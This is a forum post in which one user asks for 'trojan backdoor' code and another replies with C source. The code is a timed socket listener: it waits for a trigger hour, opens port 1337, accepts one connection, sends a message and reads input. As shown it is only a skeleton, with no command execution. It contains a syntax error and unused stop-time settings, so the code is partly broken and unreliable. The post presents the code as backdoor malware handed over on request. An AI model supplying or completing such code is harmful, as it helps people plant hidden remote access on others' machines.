[quote=teguh0203]networkmancer
trojan backdoor? can you give me the code
[/quote]
[spoiler]#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#define listenPort 1337
#define triggerHour "22"
#define aliveFor "180"
#define triggerMin "57"
#define stopHour "16"
#define stopMin "25"
void wait_for_time();
void start_listening();
void start_kill_timer();
int main( int argc, char **argv)
{
pid_t lPid;
while( 1 == 1)
{
sleep(1800); check every 30 minutes
//printf("Let's start at the beginning\n");
wait_for_time();
if( (lPid = fork()) == 0 )
{
//printf("just forked\n");
start_listening();
//printf("start_listening() is done\n");
exit(1);
}
}
return 0;
}
void wait_for_time()
{
char *pTime; // printable time
time_t now;
int cont = 1, yes = 1;
struct tm *theTime;
int tHour = atoi(triggerHour);
int tMin = atoi(triggerMin);
int hour, minute;
while( cont == yes )
{
// sleep(25); so we're not checking 700 times a second
time(&now);
theTime = localtime( &now );
hour = theTime->tm_hour;
minute = theTime->tm_min;
if( hour == tHour )
{
//printf("NOW IS THE TIME!\n");
yes = 0;
}
}
}
void start_listening()
{
struct sockaddr_in serverAddr, clientAddr;
int listenSock, acceptFd;
int port = listenPort;
socklen_t cliLength = sizeof(clientAddr);
pid_t pid;
int cont = 1, yes = 1;
time_t now;
struct tm *theTime;
int tHour = atoi(triggerHour);
int sHour = atoi(stopHour);
int sMin = atoi(stopMin);
int hour, minute;
bzero( &serverAddr, sizeof(serverAddr) );
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(listenPort);
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
if( (listenSock = socket( AF_INET, SOCK_STREAM, 0 )) == -1)
{
printf("Error creating socket Bitch! %s\n", strerror(errno));
exit(0);
}
if( bind(listenSock, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) != 0 )
{
printf("Bind error Bitch! %s\n", strerror(errno));
exit(0);
}
if( listen(listenSock, 2) != 0)
{
printf("Listen() error bitch!\n");
return;
}
printf("Starting listener on port %d\n", listenPort);
pid_t listenPid;
int zzzz = atoi(aliveFor);
if( (listenPid = fork()) == 0)
{
printf("just forked for listenpid\n");
int newFd;
char readBuf[200];
bzero(readBuf, sizeof(readBuf));
char *msg = "Did you just say casarole?\n";
newFd = accept(listenSock, (struct sockaddr *) &clientAddr, &cliLength);
close(listenSock);
write( newFd, msg , strlen(msg));
read( newFd, readBuf, 200);
printf("Readbuf is %s\n", readBuf);
//printf("Exiting listenpid fork\n");
close(newFd);
close(listenSock);
return;
}
sleep(zzzz);
kill( listenPid, 1);
close(listenSock);
return;
}[/spoiler]
Last edited by networkmancer (2008-11-29 20:52:39)